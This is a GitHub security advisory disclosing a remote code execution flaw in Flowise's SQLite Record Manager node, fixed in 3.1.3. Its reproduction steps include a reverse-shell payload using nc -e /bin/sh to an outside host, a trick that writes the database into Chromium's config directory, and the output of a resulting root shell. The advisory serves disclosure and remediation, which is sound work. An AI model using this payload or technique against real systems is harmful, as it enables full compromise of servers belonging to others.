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Flowise RCE via SQLite Record Manager Node

Critical severity GitHub Reviewed Published Jul 29, 2026 in FlowiseAI/Flowise • Updated Aug 4, 2026

Package

npm flowise (npm)

Affected versions

<= 3.1.2

Patched versions

3.1.3
npm flowise-components (npm)
<= 3.1.2
3.1.3

Description

=============================================================================
Security Advisory
elttam

Topic: Flowise RCE via SQLite Record Manager Node

Module: FlowiseAI/Flowise
Disclosed: 24-Apr-2026
Credits: Alex Brown
Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.

II. Problem Description

The database path for the "SQLite Record Manager" node could be overridden using the additionalConfig input, as demonstrated in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts

class SQLiteRecordManager_RecordManager implements INode {
    ...
    async init(nodeData: INodeData, _: string, options: ICommonObject): Promise<any> {
        const _tableName = nodeData.inputs?.tableName as string
        const tableName = _tableName ? _tableName : 'upsertion_records'
        const additionalConfig = nodeData.inputs?.additionalConfig as string <1>
        const _namespace = nodeData.inputs?.namespace as string
        const namespace = _namespace ? _namespace : options.chatflowid
        const cleanup = nodeData.inputs?.cleanup as string
        const _sourceIdKey = nodeData.inputs?.sourceIdKey as string
        const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source'

        let additionalConfiguration = {}
        if (additionalConfig) {
            try {
                additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig)
            } catch (exception) {
                throw new Error('Invalid JSON in the Additional Configuration: ' + exception)
            }
        }

        const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2>

        const sqliteOptions = {
            database,
            ...additionalConfiguration, <3>
            type: 'sqlite'
        }

        const args = {
            sqliteOptions,
            tableName: tableName
        }

        const recordManager = new SQLiteRecordManager(namespace, args)

        ;(recordManager as any).cleanup = cleanup
        ;(recordManager as any).sourceIdKey = sourceIdKey

        return recordManager
    }
}

<1> The additionalConfig input was user controllable.

<2> The intended SQLite database path.

<3> Keyword argument expansion of the additionalConfiguration variable after the database variable, which allows overwriting the preceding database setting.

An attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the flowiseai/flowise:3.1.2 Docker image runs as root.

However, unlike the Flowise RCE via SQL Database Chain Node vulnerability, the executed SQL query was not user controllable and the tableName input was validated to match the /^[a-zA-Z0-9_]+$/ regex pattern, as shown in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts

class SQLiteRecordManager implements RecordManagerInterface {
    ...

    sanitizeTableName(tableName: string): string {
        // Trim and normalize case, turn whitespace into underscores
        tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_')

        // Validate using a regex (alphanumeric and underscores only)
        if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { <1>
            throw new Error('Invalid table name')
        }

        return tableName
    }

    ...

    async createSchema(): Promise<void> {
        const dataSource = await this.getDataSource()
        try {
            const queryRunner = dataSource.createQueryRunner()
            const tableName = this.sanitizeTableName(this.tableName) <1>

            await queryRunner.manager.query(` <2>
CREATE TABLE IF NOT EXISTS "${tableName}" (
  uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),
  key TEXT NOT NULL,
  namespace TEXT NOT NULL,
  updated_at REAL NOT NULL,
  group_id TEXT,
  UNIQUE (key, namespace)
);
CREATE INDEX IF NOT EXISTS updated_at_index ON "${tableName}" (updated_at);
CREATE INDEX IF NOT EXISTS key_index ON "${tableName}" (key);
CREATE INDEX IF NOT EXISTS namespace_index ON "${tableName}" (namespace);
CREATE INDEX IF NOT EXISTS group_id_index ON "${tableName}" (group_id);`)

            // Add doc_id column if it doesn't exist (migration for existing tables)
            const checkColumn = await queryRunner.manager.query(
                `SELECT COUNT(*) as count FROM pragma_table_info('${tableName}') WHERE name='doc_id';`
            )
            if (checkColumn[0].count === 0) {
                await queryRunner.manager.query(`ALTER TABLE "${tableName}" ADD COLUMN doc_id TEXT;`)
                await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON "${tableName}" (doc_id);`)
            }

            await queryRunner.release()
        } catch (e: any) {
            // This error indicates that the table already exists
            // Due to asynchronous nature of the code, it is possible that
            // the table is created between the time we check if it exists
            // and the time we try to create it. It can be safely ignored.
            if ('code' in e && e.code === '23505') {
                return
            }
            throw e
        } finally {
            await dataSource.destroy()
        }
    }

    ...

    async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise<void> {
        if (keys.length === 0) {
            return
        }
        const dataSource = await this.getDataSource()
        const queryRunner = dataSource.createQueryRunner()
        const tableName = this.sanitizeTableName(this.tableName)

        const updatedAt = await this.getTime()
        const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}

        if (timeAtLeast && updatedAt < timeAtLeast) {
            throw new Error(`Time sync issue with database ${updatedAt} < ${timeAtLeast}`)
        }

        // Handle both new format (objects with uid and docId) and old format (strings)
        const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0]
        const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[])
        const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null)

        const groupIds = _groupIds ?? keyStrings.map(() => null)

        if (groupIds.length !== keyStrings.length) {
            throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)
        }

        const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3>

        const query = `
        INSERT INTO "${tableName}" (key, namespace, updated_at, group_id, doc_id)
        VALUES (?, ?, ?, ?, ?)
        ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`

        try {
            // To handle multiple files upsert
            for (const record of recordsToUpsert) {
                // Consider using a transaction for batch operations
                await queryRunner.manager.query(query, record.flat())
            }
            await queryRunner.release()
        } catch (error) {
            console.error('Error updating in SQLiteRecordManager:')
            throw error
        } finally {
            await dataSource.destroy()
        }
    }
    ...
}

<1> Validates the tableName input matches the regex pattern /^[a-zA-Z0-9_]+$/.

<2> The SQL command creating the database table, which is not user controllable.

<3> The this.namespace is a user controllable input for the node.

Since the allowed characters of the tableName input were restricted, it was not possible to utilise the same technique from GHSA-pwfj-wh95-7mwp to comment out () characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the doc_id_index cell using the default upsertion_records table name.

Bytes         Raw    Decoded
──────────────────────────────────────────────────
[3574:3575]   62     payload length = 98
[3575:3576]   04     rowid = 4

── Record Header ──────────────────────────────
[3576:3577]   06     header length = 6
[3577:3578]   17     col 0 = 23  → TEXT 5 bytes   ('index')
[3578:3579]   25     col 1 = 37  → TEXT 12 bytes  ('doc_id_index')
[3579:3580]   2f     col 2 = 47  → TEXT 17 bytes  ('upsertion_records') <1>
[3580:3581]   01     col 3 = 1   → INT8 1 byte
[3581:3582]   7f     col 4 = 127 → TEXT 57 bytes  (CREATE INDEX sql)

── Record Body ────────────────────────────────
[3582:3587]   696e646578     col 0 = 'index'
[3587:3599]   646f635f69…    col 1 = 'doc_id_index'
[3599:3616]   757073657274…  col 2 = 'upsertion_records'
[3616:3617]   05             col 3 = 5  (root page = page 5)
[3617:3674]   43524541544…   col 4 = 'CREATE INDEX doc_id_index ON "upsertion_records" (doc_id)'

<1> \x2f serial type corresponds to a TEXT value that is 17 bytes long.

The length of the table name can be manipulated, and a serial type of ' corresponds to a string that is 13 bytes long. The injected ' could then be used to wrap the problematic () characters within the cell, which is then closed by the namespace input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a /etc/chromium/*.conf file.

The following steps document the procedure to reproduce this issue:

  1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the additionalConfig.database input for the SQLite Record Manager node is set to /etc/chromium/exploit.conf, which is the destination the SQLite database will be created. The tableName input is set to AAAAAAAAAAAAA, so the encoded serial type of its length would be ', and the namespace is set to '$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh) to close the previous ' and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at /etc/chromium/exploit.conf.

sqlite-record-rce-poc.json

  1. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute chromium-browser that sources all /etc/chromium/*.conf files, triggering the reverse shell payload as shown in the following terminal output.

sqlite-sqlchain-puppeteer-trigger.json

$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 40677
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
ps aux
PID   USER     TIME  COMMAND
    1 root      0:13 node /usr/local/bin/flowise start
   18 root      0:00 [sh]
   30 root      0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC
   31 root      0:00 /bin/sh
   33 root      0:00 ps aux

III. Impact

An authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.

IV. Solution

Consider performing the following remediation activities:

  • Ensure that the additionalConfig input could not be abused to overwrite the database property to an arbitrary file path.

  • Use a low-privileged user for container runtimes instead of the privileged root user, since the root user has file access to the entire filesystem of the container.

References

@igor-magun-wd igor-magun-wd published to FlowiseAI/Flowise Jul 29, 2026
Published to the GitHub Advisory Database Aug 4, 2026
Reviewed Aug 4, 2026
Last updated Aug 4, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(29th percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-69259

GHSA ID

GHSA-x3hf-7cj6-3r4m

Source code

Credits

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